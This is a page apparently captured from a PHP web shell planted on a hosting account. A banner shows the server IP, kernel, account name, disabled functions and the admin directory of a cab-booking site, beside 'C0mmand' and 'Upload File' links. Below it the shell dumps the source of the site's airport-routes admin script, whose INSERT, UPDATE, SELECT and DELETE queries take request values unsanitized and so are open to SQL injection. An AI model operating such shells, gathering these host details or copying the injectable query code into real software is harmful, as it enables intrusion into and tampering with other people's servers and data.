Server IP : 82.112.239.40 / Your IP : 3.16.57.110 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/cabz4you.com/public_html/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include 'lib/core.php'; //Show All cities if($_SERVER['REQUEST_METHOD'] == "GET") { if (isset($_GET['show_cities'])) { $show = "SELECT * FROM airport_routes"; $result = $conn->query($show); if ($result->num_rows > 0) { while ($row = $result->fetch_assoc()) { $cities[] = $row; } echo json_encode($cities); } } } if($_SERVER['REQUEST_METHOD'] == "POST") { // Adding package cities if (isset($_POST['city_name'])) { $from_city = $_POST['from_city']; $to_city = $_POST['city_name']; $price = $_POST['city_price']; $type = implode(',', $_POST['type']); $fromexp=explode(",", $from_city); $toexp=explode(",", $to_city); $city=$fromexp[0] . ":" . $toexp[0]; if ($type!='') { $type = implode(',', $_POST['type']); }else{ $type = 'all'; } if(!empty($city)) { $sql = "INSERT INTO airport_routes(from_city,to_city,price_km,cab_type_id) VALUES('$from_city','$to_city','$price','$type')"; if ($conn->query($sql)) { echo '<script language="javascript">'; echo 'alert("Added successfully"); location.href="airport-routes"'; echo '</script>'; } else { echo '<script language="javascript">'; echo 'alert("Something Went Wrong!"); location.href="airport-routes"'; echo '</script>'; } } else { echo "Can't left empty"; } } //Show Current City in Edit Modal if (isset($_POST['city_id'])) { $id = $_POST['city_id']; $query = "SELECT * FROM airport_routes WHERE id = " . $id; $result = $conn->query($query); $cab_type = $result->fetch_assoc(); $city=explode(':', $cab_type['city']); $type=explode(',', $cab_type['cab_type_id']); $i=0; $sql = "SELECT * FROM airport"; $res = $conn->query($sql); $output=''; while($value = mysqli_fetch_array($res)) { // if ($value['type'] == $type[$i++]) if (in_array($value['type'], $type)) { $select = "selected"; }else{ $select=''; } $output.='<option value="'.$value['type'].'" '.$select.'>'.$value['type'].'</option>'; } echo json_encode(array( "output"=>$output, "from"=>$cab_type['from_city'], "to"=>$cab_type['to_city'], "price"=>$cab_type['price_km'], "id"=>$cab_type['id'] )); } //Updating package City in Modal if (isset($_POST['save_id'])) { $id = $_POST['save_id']; $type = implode(',', $_POST['type']); $price = $_POST['edit-city-price']; $from_city = $_POST['from_city']; $to_city = $_POST['edit-city-name']; if ($type!='') { $type = implode(',', $_POST['type']); }else{ $type = 'all'; } $sql = "UPDATE airport_routes SET from_city = '$from_city',to_city = '$to_city',price_km = '$price',cab_type_id = '$type' WHERE id = $id"; if ($conn->query($sql)) { echo '<script language="javascript">'; echo 'alert("Update successfully"); location.href="airport-routes"'; echo '</script>'; } else { echo '<script language="javascript">'; echo 'alert("Something Went Wrong!"); location.href="airport-routes"'; echo '</script>'; } } if (isset($_POST['selectid'])) { $id = $_POST['selectid']; $query = "SELECT * FROM airport_routes WHERE id = " . $id; $result = $conn->query($query); $output='<link rel="stylesheet" type="text/css" href="multiselect/css/bootstrap-multiselect.css">'; $output.='<select name="type[]" class="form-control" id="editmultioption" multiple>'; while($value = mysqli_fetch_array($result)) { $output.='<option value="'.$value->type.'">'.$value->type.'</option>'; } $output.='</select>'; $output.='<script src="multiselect/js/bootstrap-multiselect.js"></script>'; $output.='<script>$("#editmultioption").multiselect({ includeSelectAllOption:true, nonSelectedText:"Select Cab Types", enableFiltering:true, enableCaseInsensitiveFiltering:true })</script>'; echo $output; } //Delete package cities if (isset($_POST['delete_id'])) { $id = $_POST['delete_id']; $query = "DELETE FROM airport_routes WHERE id = " . $id; if ($conn->query($query)) { echo "Success"; } else { echo "Something Wrong"; } } } ?>